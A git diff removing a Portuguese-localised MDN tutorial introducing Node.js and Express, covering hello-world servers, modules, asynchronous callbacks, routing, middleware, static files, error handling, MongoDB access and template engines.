- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express Parte</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data"> 6:</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms"> Trabalhar com formulários</a></dt>
- <dd>In this tutorial we'll show you how to work with <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> in Express, using Pug, and in particular how to write forms to create, update, and delete documents from the database.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express Parte</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment"> 7: Enviar para produção</a></dt>
- <dd>Now you've created an awesome <em>LocalLibrary</em> website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.</dd>
-</dl>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Installing LocalLibrary on PWS/Cloud Foundry</a></dt>
- <dd>This article provides a practical demonstration of how to install <em>LocalLibrary</em> on the <a href="http://run.pivotal.io">Pivotal Web Services PaaS cloud</a> — this is a full-featured, open source alternative to Heroku, the PaaS cloud service used in Part 7 of the tutorial, listed above. PWS/Cloud Foundry is definitely worth checking out if you are looking for an alternative to Heroku (or another PaaS cloud service), or simply feel like trying something different.</dd>
-</dl>
-
-<h2 id="Adicionar_mais_tutoriais">Adicionar mais tutoriais</h2>
-
-<div>
-<p>That's the end of the tutorial articles (for now). If you would like to extend it, other interesting topics to cover are:</p>
-
-<ul>
- <li>Using sessions</li>
- <li>User authentication</li>
- <li>User authorisation and permissions</li>
- <li>Testing an Express web application</li>
- <li>Web security for Express web applications.</li>
-</ul>
-
-<p>And of course it would be excellent to have an assessment task!</p>
-</div>
diff --git a/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html b/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html
deleted file mode 100644
index 1524676241..0000000000
--- a/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html
+++ /dev/null
@@ -1,540 +0,0 @@
----
-title: Introdução a Express/Node
-slug: Learn/Server-side/Express_Nodejs/Introduction
-tags:
- - Aprender
- - CodingScripting
- - Express
- - Nodo
- - Principiante
- - lado do servidor
- - nodejs
-translation_of: Learn/Server-side/Express_Nodejs/Introduction
-original_slug: Learn/No-servidor/Express_Nodejs/Introduction
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{NextMenu("Learn/No-servidor/Express_Nodejs", "Learn/Server-side/Express_Nodejs")}}</div>
-
-<p class="summary">In this first Express article we answer the questions "What is Node?" (answer: a library) and "What is Express?", and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Basic computer literacy. A general understanding of <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">server-side website programming</a>, and in particular the mechanics of <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">client-server interactions in websites</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To gain familiarity with what Express is and how it fits in with Node, what functionality it provides, and the main building blocks of an Express application.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Introdução_a_Node">Introdução a <em>Node</em></h2>
-
-<p><a href="https://nodejs.org/">Node</a> (or more formally <em>Node.js</em>) is an open-source, cross-platform, runtime environment that allows developers to create all kinds of server-side tools and applications in <a href="/en-US/docs/Glossary/JavaScript">JavaScript</a>. The runtime is intended for use outside of a browser context (i.e. running directly on a computer or server OS). As such, the environment omits browser-specific JavaScript APIs and adds support for more traditional OS APIs including HTTP and file system libraries.</p>
-
-<p>From a web server development perspective Node has a number of benefits:</p>
-
-<ul>
- <li>Great performance! Node was designed to optimize throughput and scalability in web applications and is a good solution for many common web-development problems (e.g. real-time web applications).</li>
- <li>Code is written in "plain old JavaScript", which means that less time is spent dealing with "context shift" between languages when you're writing both client-side and server-side code.</li>
- <li>JavaScript is a relatively new programming language and benefits from improvements in language design when compared to other traditional web-server languages (e.g. Python, PHP, etc.) Many other new and popular languages compile/convert into JavaScript so you can also use CoffeeScript, ClojureScript, Scala, LiveScript, etc.</li>
- <li>The node package manager (NPM) provides access to hundreds of thousands of reusable packages. It also has best-in-class dependency resolution and can also be used to automate most of the build toolchain.</li>
- <li>Node.js is portable. It is available on Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, and NonStop OS. Furthermore, it is well-supported by many web hosting providers, that often provide specific infrastructure and documentation for hosting Node sites.</li>
- <li>It has a very active third party ecosystem and developer community, with lots of people who are willing to help.</li>
-</ul>
-
-<p>You can use Node.js to create a simple web server using the Node HTTP package.</p>
-
-<h3 id="Hello_Node.js"><em>Hello</em> Node.js</h3>
-
-<p>The following example creates a web server that listens for any kind of HTTP request on the URL <code>http://127.0.0.1:8000/</code> — when a request is received, the script will respond with the string: "Hello World". If you have already installed node, you can follow these steps to try out the example:</p>
-
-<ol>
- <li>Open Terminal (on Windows, open the command line utility)</li>
- <li>Create the folder where you want to save the program, for example, <code>"test-node"</code> and then enter it by entering the following command into your terminal:</li>
-</ol>
-
-<pre>cd test-node</pre>
-
-<ol start="3">
- <li>Using your favorite text editor, create a file called <code>"hello.js"</code> and paste the following code into it:</li>
-</ol>
-
-<pre class="brush: js">// Load HTTP module
-var http = require("http");
-
-// Create HTTP server and listen on port 8000 for requests
-http.createServer(function(request, response) {
-
- // Set the response HTTP header with HTTP status and Content type
- response.writeHead(200, {'Content-Type': 'text/plain'});
-
- // Send the response body "Hello World"
- response.end('Hello World\n');
-}).listen(8000);
-
-// Print URL for accessing server
-console.log('Server running at http://127.0.0.1:8000/');</pre>
-
-<ol start="4">
- <li>Save the file in the folder you created above.</li>
- <li>Go back to the terminal and type the following command:</li>
-</ol>
-
-<pre class="brush: bash">node "hello.js"</pre>
-
-<p>Finally, navigate to <code>"http://localhost:8000"</code> in your web browser; you should see the text "<strong>Hello World</strong>" in the upper left of an otherwise empty web page.</p>
-
-<h2 id="Estruturas_da_Web_(Frameworks)">Estruturas da Web (Frameworks)</h2>
-
-<p>Other common web-development tasks are not directly supported by Node itself. If you want to add specific handling for different HTTP verbs (e.g. <code>GET</code>, <code>POST</code>, <code>DELETE</code>, etc.), separately handle requests at different URL paths ("routes"), serve static files, or use templates to dynamically create the response, then you will need to write the code yourself, or you can avoid reinventing the wheel and use a web framework!</p>
-
-<h2 id="Introdução_a_Express">Introdução a <em>Express</em></h2>
-
-<p><a href="https://expressjs.com/">Express</a> is the most popular <em>Node</em> web framework, and is the underlying library for a number of other popular <a href="https://expressjs.com/en/resources/frameworks.html">Node web frameworks</a>. It provides mechanisms to:</p>
-
-<ul>
- <li>Write handlers for requests with different HTTP verbs at different URL paths (routes).</li>
- <li>Integrate with "view" rendering engines in order to generate responses by inserting data into templates.</li>
- <li>Set common web application settings like the port to use for connecting, and the location of templates that are used for rendering the response.</li>
- <li>Add additional request processing "middleware" at any point within the request handling pipeline.</li>
-</ul>
-
-<p>While <em>Express</em> itself is fairly minimalist, developers have created compatible middleware packages to address almost any web development problem. There are libraries to work with cookies, sessions, user logins, URL parameters, <code>POST</code> data, security headers, and <em>many </em>more. You can find a list of middleware packages maintained by the Express team at <a href="http://expressjs.com/en/resources/middleware.html">Express Middleware</a> (along with a list of some popular 3rd party packages).</p>
-
-<div class="note">
-<p><strong>Nota:</strong> This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.</p>
-</div>
-
-<h2 id="De_onde_veio_o_Node_e_o_Express">De onde veio o Node e o Express?</h2>
-
-<p>Node was initially released, for Linux only, in 2009. The NPM package manager was released in 2010, and native Windows support was added in 2012. The current LTS release is Node v8.11.2 while the latest release is Node 10.1.0. This is a tiny snapshot of a rich history; delve into <a href="https://en.wikipedia.org/wiki/Node.js#History">Wikipedia</a> if you want to know more.</p>
-
-<p>Express was initially released in November 2010 and is currently on version 4.16 of the API. You can check out the <a href="https://expressjs.com/en/changelog/4x.html">changelog</a> for information about changes in the current release, and <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> for more detailed historical release notes.</p>
-
-<h2 id="Quão_populares_são_o_Node_e_Express">Quão populares são o Node e Express?</h2>
-
-<p>The popularity of a web framework is important because it is an indicator of whether it will continue to be maintained, and what resources are likely to be available in terms of documentation, add-on libraries, and technical support.</p>
-
-<p>There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like <a href="http://hotframeworks.com/">Hot Frameworks</a> attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?</p>
-
-<p>Based on the number of <a href="https://expressjs.com/en/resources/companies-using-express.html">high profile companies</a> that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, <em>Express</em> is a popular framework!</p>
-
-<h2 id="Express_é_opinativo"><em>Express </em>é opinativo?</h2>
-
-<p>Web frameworks often refer to themselves as "opinionated" or "unopinionated".</p>
-
-<p>Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development <em>in a particular domain </em>(solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.</p>
-
-<p>Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.<br>
- <br>
- Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!</p>
-
-<h2 id="Como_é_que_o_código_de_Express_se_parece">Como é que o código de <em>Express </em>se parece?</h2>
-
-<p>In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in <code>POST</code> data or <code>GET</code> data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisfy the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.</p>
-
-<p>Express provides methods to specify what function is called for a particular HTTP verb (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting <code>POST</code>/<code>GET</code> parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).</p>
-
-<p>The following sections explain some of the common things you'll see when working with <em>Express</em> and <em>Node</em> code.</p>
-
-<h3 id="Helloworld_Express">Helloworld Express</h3>
-
-<p>First lets consider the standard Express <a href="https://expressjs.com/en/starter/hello-world.html">Hello World</a> example (we discuss each part of this below, and in the following sections).</p>
-
-<div class="note">
-<p><strong>Dica:</strong> If you have Node and Express already installed (or if you install them as shown in the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">next article</a>), you can save this code in a text file called <strong>app.js</strong> and run it in a bash command prompt by calling:   </p>
-
-<p><strong><code>./node ./app.js</code></strong></p>
-</div>
-
-<pre class="brush: js">var express = require('express');
-var app = express();
-
-<strong>app.get('/', function(req, res) {
- res.send('Hello World!');
-});</strong>
-
-app.listen(3000, function() {
- console.log('Example app listening on port 3000!');
-});
-</pre>
-
-<p>The first two lines <code>require()</code> (import) the express module and create an <a href="https://expressjs.com/en/4x/api.html#app">Express application</a>. This object, which is traditionally named <code>app</code>, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying <a href="https://expressjs.com/en/4x/api.html#app.settings.table">application settings</a> that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)</p>
-
-<p>The middle part of the code (the three lines starting with <code>app.get</code>) shows a <em>route definition</em>. The <code>app.get()</code> method specifies a callback function that will be invoked whenever there is an HTTP <code>GET</code> request with a path (<code>'/'</code>) relative to the site root. The callback function takes a request and a response object as arguments, and simply calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "Hello World!"</p>
-
-<p>The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to <code>localhost:3000</code> in your browser to see the example response returned.</p>
-
-<h3 id="Importação_e_criação_de_módulos">Importação e criação de módulos</h3>
-
-<p>A module is a JavaScript library/file that you can import into other code using Node's <code>require()</code> function. <em>Express</em> itself is a module, as are the middleware and database libraries that we use in our <em>Express</em> applications.</p>
-
-<p>The code below shows how we import a module by name, using the <em>Express</em> framework as an example. First we invoke the <code style="font-style: normal; font-weight: normal;">require()</code> function, specifying the name of the module as a string (<code>'express'</code>), and calling the returned object to create an <a href="https://expressjs.com/en/4x/api.html#app">Express application</a>. We can then access the properties and functions of the application object.</p>
-
-<pre class="brush: js">var express = require('express');
-var app = express();
-</pre>
-
-<p>You can also create your own modules that can be imported in the same way.</p>
-
-<div class="note">
-<p><strong>Dica:</strong> You will <em>want </em>to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.</p>
-</div>
-
-<p>To make objects available outside of a module you just need to assign them to the <code>exports</code> object. For example, the <strong>square.js</strong> module below is a file that exports <code>area()</code> and <code>perimeter()</code> methods:</p>
-
-<pre class="brush: js">exports.area = function(width) { return width * width; };
-exports.perimeter = function(width) { return 4 * width; };
-</pre>
-
-<p>We can import this module using <code>require()</code>, and then call the exported method(s) as shown:</p>
-
-<pre class="brush: js">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
-console.log('The area of a square with a width of 4 is ' + square.area(4));</pre>
-
-<div class="note">
-<p><strong>Nota:</strong> You can also specify an absolute path to the module (or a name, as we did initially).</p>
-</div>
-
-<p>If you want to export a complete object in one assignment instead of building it one property at a time, assign it to <code>module.exports</code> as shown below (you can also do this to make the root of the exports object a constructor or other function):</p>
-
-<pre class="brush: js">module.exports = {
- area: function(width) {
- return width * width;
- },
-
- perimeter: function(width) {
- return 4 * width;
- }
-};
-</pre>
-
-<p>For a lot more information about modules see <a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs).</p>
-
-<h3 id="Utilizar_APIs_assíncronas">Utilizar APIs assíncronas</h3>
-
-<p>JavaScript code frequently uses asynchronous rather than synchronous APIs for operations that may take some time to complete. A synchronous API is one in which each operation must complete before the next operation can start. For example, the following log functions are synchronous, and will print the text to the console in order (First, Second).</p>
-
-<pre class="brush: js">console.log('First');
-console.log('Second');
-</pre>
-
-<p>By contrast, an asynchronous API is one in which the API will start an operation and immediately return (before the operation is complete). Once the operation finishes, the API will use some mechanism to perform additional operations. For example, the code below will print out "Second, First" because even though <code>setTimeout()</code> method is called first, and returns immediately, the operation doesn't complete for several seconds.</p>
-
-<pre class="brush: js">setTimeout(function() {
- console.log('First');
- }, 3000);
-console.log('Second');
-</pre>
-
-<p>Using non-blocking asynchronous APIs is even more important on Node than in the browser, because <em>Node</em> is a single threaded event-driven execution environment. "single threaded" means that all requests to the server are run on the same thread (rather than being spawned off into separate processes). This model is extremely efficient in terms of speed and server resources, but it does mean that if any of your functions call synchronous methods that take a long time to complete, they will block not just the current request, but every other request being handled by your web application.</p>
-
-<p>There are a number of ways for an asynchronous API to notify your application that it has completed. The most common way is to register a callback function when you invoke the asynchronous API, that will be called back when the operation completes. This is the approach used above.</p>
-
-<div class="note">
-<p><strong>Dica:</strong> Using callbacks can be quite "messy" if you have a sequence of dependent asynchronous operations that must be performed in order, because this results in multiple levels of nested callbacks. This problem is commonly known as "callback hell". This problem can be reduced by good coding practices (see <a href="http://callbackhell.com/">http://callbackhell.com/</a>), using a module like <a href="https://www.npmjs.com/package/async">async</a>, or even moving to ES6 features like <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota:</strong> A common convention for Node and Express is to use error-first callbacks. In this convention the first value in your <em>callback functions</em> is an error value, while subsequent arguments contain success data. There is a good explanation of why this approach is useful in this blog: <a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js">The Node.js Way - Understanding Error-First Callbacks</a> (fredkschott.com).</p>
-</div>
-
-<h3 id="Criação_de_manipuladores_de_rota">Criação de manipuladores de rota</h3>
-
-<p>In our <em>Hello World</em> Express example (see above), we defined a (callback) route handler function for HTTP <code>GET</code> requests to the site root (<code>'/'</code>).</p>
-
-<pre class="brush: js">app.<strong>get</strong>('/', function(req, res) {
- res.send('Hello World!');
-});
-</pre>
-
-<p>The callback function takes a request and a response object as arguments. In this case the method simply calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "Hello World!" There are a <a href="https://expressjs.com/en/guide/routing.html#response-methods">number of other response methods</a> for ending the request/response cycle, for example you could call <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> to send a JSON response or <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> to send a file.</p>
-
-<div class="note">
-<p><strong>Dica de JavaScript:</strong> You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.</p>
-</div>
-
-<p>The <em>Express application</em> object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, and <code>connect()</code>.</p>
-
-<p>There is a special routing method, <code>app.all()</code>, which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to <code>/secret</code> irrespective of the HTTP verb used (provided it is supported by the <a href="https://nodejs.org/api/http.html#http_http_methods">http module</a>).</p>
-
-<pre class="brush: js">app.all('/secret', function(req, res, next) {
- console.log('Accessing the secret section ...');
- next(); // pass control to the next handler
-});</pre>
-
-<p>Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).</p>
-
-<p>Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of <em>/wiki/</em>). In <em>Express</em> this is achieved by using the <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code> object. For example, we can create our wiki route in a module named <strong>wiki.js</strong>, and then export the <code>Router</code> object, as shown below:</p>
-
-<pre class="brush: js">// wiki.js - Wiki route module
-
-var express = require('express');
-var router = express.Router();
-
-// Home page route
-router.get('/', function(req, res) {
- res.send('Wiki home page');
-});
-
-// About page route
-router.get('/about', function(req, res) {
- res.send('About this wiki');
-});
-
-module.exports = router;
-</pre>
-
-<div class="note">
-<p><strong>Note:</strong> Adding routes to the <code>Router</code> object is just like adding routes to the <code>app</code> object (as shown previously).</p>
-</div>
-
-<p>To use the router in our main app file we would then <code>require()</code> the route module (<strong>wiki.js</strong>), then call <code>use()</code> on the <em>Express</em> application to add the Router to the middleware handling path. The two routes will then be accessible from <code style="font-style: normal; font-weight: normal;">/wiki/</code> and <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>.</p>
-
-<pre class="brush: js">var wiki = require('./wiki.js');
-// ...
-app.use('/wiki', wiki);</pre>
-
-<p>We'll show you a lot more about working with routes, and in particular about using the <code>Router</code>, later on in the linked section<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes"> Routes and controllers .</a></p>
-
-<h3 id="Utilização_de_middleware">Utilização de middleware</h3>
-
-<p>Middleware is used extensively in Express apps, for tasks from serving static files to error handling, to compressing HTTP responses. Whereas route functions end the HTTP request-response cycle by returning some response to the HTTP client, middleware functions <em>typically</em> perform some operation on the request or response and then call the next function in the "stack", which might be more middleware or a route handler. The order in which middleware is called is up to the app developer.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> The middleware can perform any operation, execute any code, make changes to the request and response object, and it can<em> also end the request-response cycle</em>. If it does not end the cycle then it must call <code>next()</code> to pass control to the next middleware function (or the request will be left hanging).</p>
-</div>
-
-<p>Most apps will use <em>third-party</em> middleware in order to simplify common web development tasks like working with cookies, sessions, user authentication, accessing request <code>POST</code> and JSON data, logging, etc. You can find a <a href="http://expressjs.com/en/resources/middleware.html">list of middleware packages maintained by the Express team</a> (which also includes other popular 3rd party packages). Other Express packages are available on the NPM package manager.</p>
-
-<p>To use third party middleware you first need to install it into your app using NPM. For example, to install the <a href="http://expressjs.com/en/resources/middleware/morgan.html">morgan</a> HTTP request logger middleware, you'd do this:</p>
-
-<pre class="brush: bash"><code>$ npm install morgan
-</code></pre>
-
-<p>You could then call <code>use()</code> on the <em>Express application object</em> to add the middleware to the stack:</p>
-
-<pre class="brush: js">var express = require('express');
-<strong>var logger = require('morgan');</strong>
-var app = express();
-<strong>app.use(logger('dev'));</strong>
-...</pre>
-
-<div class="note">
-<p><strong>Nota:</strong> Middleware and routing functions are called in the order that they are declared. For some middleware the order is important (for example if session middleware depends on cookie middleware, then the cookie handler must be added first). It is almost always the case that middleware is called before setting routes, or your route handlers will not have access to functionality added by your middleware.</p>
-</div>
-
-<p>You can write your own middleware functions, and you are likely to have to do so (if only to create error handling code). The <strong>only</strong> difference between a middleware function and a route handler callback is that middleware functions have a third argument <code>next</code>, which middleware functions are expected to call if they are not that which completes the request cycle (when the middleware function is called, this contains the <em>next</em> function that must be called).</p>
-
-<p>You can add a middleware function to the processing chain with either <code>app.use()</code> or <code>app.add()</code>, depending on whether you want to apply the middleware to all responses or to responses with a particular HTTP verb (<code>GET</code>, <code>POST</code>, etc). You specify routes the same in both cases, though the route is optional when calling <strong>app.use()</strong>.</p>
-
-<p>The example below shows how you can add the middleware function using both methods, and with/without a route.</p>
-
-<pre class="brush: js">var express = require('express');
-var app = express();
-
-// An example middleware function
-var a_middleware_function = function(req, res, <em>next</em>) {
-  // ... perform some operations
-  next(); // Call next() so Express will call the next middleware function in the chain.
-}
-
-// Function added with use() for all routes and verbs
-app.use(a_middleware_function);
-
-// Function added with use() for a specific route
-app.use('/someroute', a_middleware_function);
-
-// A middleware function added for a specific HTTP verb and route
-app.get('/', a_middleware_function);
-
-app.listen(3000);</pre>
-
-<div class="note">
-<p><strong>Dica de JavaScript:</strong> Above we declare the middleware function separately and then set it as the callback. In our previous route handler function we declared the callback function when it was used. In JavaScript, either approach is valid.</p>
-</div>
-
-<p>The Express documentation has a lot more excellent documentation about <a href="https://expressjs.com/en/guide/using-middleware.html">using</a> and <a href="http://expressjs.com/en/guide/writing-middleware.html">writing</a> Express middleware.</p>
-
-<h3 id="Servindo_ficheiros_estásticos">Servindo ficheiros estásticos</h3>
-
-<p>You can use the <a href="http://expressjs.com/en/4x/api.html#express.static">express.static</a> middleware to serve static files, including your images, CSS and JavaScript (<code>static()</code> is the only middleware function that is actually <strong>part</strong> of <em>Express</em>). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named '<strong>public'</strong> at the same level as where you call node:</p>
-
-<pre class="brush: js">app.use(express.static('public'));
-</pre>
-
-<p>Any files in the public directory are served by adding their filename (<em>relative</em> to the base "public" directory) to the base URL. So for example:</p>
-
-<pre><code>http://localhost:3000/images/dog.jpg
-http://localhost:3000/css/style.css
-http://localhost:3000/js/app.js
-http://localhost:3000/about.html
-</code></pre>
-
-<p>You can call <code>static()</code> multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).</p>
-
-<pre class="brush: js">app.use(express.static('public'));
-app.use(express.static('media'));
-</pre>
-
-<p>You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we <a href="http://expressjs.com/en/4x/api.html#app.use">specify a mount path</a> so that the files are loaded with the prefix "/media":</p>
-
-<pre class="brush: js">app.use('/media', express.static('public'));
-</pre>
-
-<p>Now, you can load the files that are in the <code>public</code> directory from the <code>/media</code> path prefix.</p>
-
-<pre><code>http://localhost:3000/media/images/dog.jpg
-http://localhost:3000/media/video/cat.mp4
-http://localhost:3000/media/cry.mp3</code>
-</pre>
-
-<p>For more information, see <a href="Serving static files in Express">Serving static files in Express</a>.</p>
-
-<h3 id="Erros_de_manipulação">Erros de manipulação</h3>
-
-<p>Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: <code>(err, req, res, next)</code>. For example:</p>
-
-<pre class="brush: js">app.use(function(err, req, res, next) {
- console.error(err.stack);
- res.status(500).send('Something broke!');
-});
-</pre>
-
-<p>These can return any content required, but must be called after all other <code>app.use()</code> and routes calls so that they are the last middleware in the request handling process!</p>
-
-<p>Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to <code>next()</code> and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable <code>NODE_ENV</code> to '<code>production'</code>.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota:</strong> HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the <a href="http://expressjs.com/en/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p>
-</div>
-
-<p>For more information see <a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs).</p>
-
-<h3 id="Utilização_de_bases_de_dados">Utilização de bases de dados</h3>
-
-<p><em>Express</em> apps can use any database mechanism supported by <em>Node</em> (<em>Express</em> itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.</p>
-
-<p>In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:</p>
-
-<pre class="brush: bash"><code>$ npm install mongodb
-</code></pre>
-
-<p>The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.</p>
-
-<pre class="brush: js">//this works with older versions of mongodb version ~ 2.2.33
-var MongoClient = require('mongodb').MongoClient;
-
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
- if (err) throw err;
-
- db.collection('mammals').find().toArray(function (err, result) {
- if (err) throw err;
-
- console.log(result);
- });
-});
-
-
-//for mongodb version 3.0 and up
-let MongoClient = require('mongodb').MongoClient;
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){
- if(err) throw err;
-
-  let db = client.db('animals');
-  db.collection('mammals').find().toArray(function(err, result){
- if(err) throw err;
-  console.log(result);
-  client.close();
-  });
-}
-</pre>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p>Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.</p>
-
-<p>For more information see <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p>
-
-<h3 id="Renderização_de_dados_(visualizações)">Renderização de dados (visualizações)</h3>
-
-<p>Template engines (referred to as "view engines" by <em>Express</em>) allow you to specify the <em>structure</em> of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of documents. Express has support for <a href="https://github.com/expressjs/express/wiki#template-engines">a number of template engines</a>, and there is a useful comparison of the more popular engines here: <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More</a>.</p>
-
-<p>In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)</p>
-
-<pre class="brush: js">var express = require('express');
-var app = express();
-
-// Set directory to contain the templates ('views')
-app.set('views', path.join(__dirname, 'views'));
-
-// Set view engine to use, in this case 'some_template_engine_name'
-app.set('view engine', 'some_template_engine_name');
-</pre>
-
-<p>The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.&lt;template_extension&gt;" that contains placeholders for data variables named 'title' and "message", you would call <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> in a route handler function to create and send the HTML response:</p>
-
-<pre class="brush: js">app.get('/', function(req, res) {
- res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
-});</pre>
-
-<p>For more information see <a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs).</p>
-
-<h3 id="Estrutura_de_ficheiro">Estrutura de ficheiro</h3>
-
